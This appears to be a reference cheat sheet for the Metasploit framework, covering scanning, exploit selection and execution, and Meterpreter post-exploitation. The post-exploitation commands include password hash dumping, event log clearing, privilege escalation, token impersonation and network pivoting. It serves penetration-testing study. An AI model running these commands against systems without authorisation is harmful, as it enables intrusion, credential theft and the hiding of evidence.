

General Information

Metasploit is a free tool that has built in exploits which aids in gaining remote access to a system by exploiting a vulnerability in that server.

msfconsole Launch program
version Display current version
msfupdate Pull the weekly update

makerc <FILE.rc> Saves recent commands to file
msfconsole -r <FILE.rc> Loads a resource file

Using the DB

The DB saves data found during exploitation. Auxiliary scan results, hashdumps, and credentials show up in the DB.

First Time Setup

Run from linux command line.

service postgresql start Start DB
msfdb init Init the DB

db_status Should say connected
hosts Show hosts in DB
services Show ports in DB
vulns Show all vulns found

Finding an Exploit to Use

Do information gathering with db_nmap and auxiliary modules. Aux mods have numerous scanners, gatherers, fuzzers, and tools that allow you to scan a CIDR block or single IP and will save the results in the DB.

db_nmap -sS -A 192.168.1.100 Do port scan and OS fingerprint then add results to DB
show auxiliary Show all auxiliary modules (scanners, fuzzers, proxies, etc.)
use auxiliary/scanner/smb/smb_version Detect the SMB version in use
use auxiliary/scanner/ftp/anonymous Scan for anonymous FTP servers
use auxiliary/scanner/snmp/snmp_login Scan for public SNMP strings

Once information is gathered on the host, look at what services or OS the host is running and do a search for that term. Example: if NMAP found that host is running 'smb' service, run 'search smb' to find exploits for that service.

search <TERM> Searches all exploits, payloads, and auxiliary modules
show exploits Show all exploits
show payloads Show all payloads

Linux Commands Many linux commands work from within msf like ifconfig, nmap, etc.

Workspaces

Each workspace is like its own database. Create a new one to have a fresh DB.

workspace -h Help
workspace List
workspace -a Add
workspace -d Delete
workspace -r Rename

Meterpreter Commands

sysinfo Show system info
ps Show running processes
kill <PID> Terminate a process
getuid Show your user ID
upload/download Upload/download a file
pwd / lpwd Print working directory
cd / lcd Change directory
cat Show contents of a file
edit <FILE> Edit a file (vim)
shell Drop into a shell
migrate <PID> Switch to another process
hashdump Show all pw hashes (Win)
idletime Display idle time of user
screenshot Take a screenshot
clearev Clear the logs

Executing an Exploit

use <MODULE> Set the exploit to use
set payload <PAYLOAD> Set the payload
show options Show all options
set <OPTION> <SETTING> Set a setting
exploit or run Execute the exploit

Session Handling

sessions -l List all sessions
sessions -i <ID> Interact/attach to session
background or ^Z Detach from session

Escalate Privileges

use priv Load the script
getsystem Elevate your privs
getprivs Elevate your privs

Token Stealing (Win)

use incognito Load the script
list_tokens -u Show all tokens
impersonate_token DOMAIN\USER Use token
drop_token Stop using token

Enable port forwarding. This opens port 3388 locally which forwards all traffic to 3389 on the remote host:

meterpreter> portfwd [ADD|DELETE] -L <LHOST> -l 3388 -r <RHOST> -p 3389

Pivot through a session by adding a route within msf it allows you to exploit or scan adjacent hosts:

msf> route add <SUBNET> <MASK> <SESSIONID>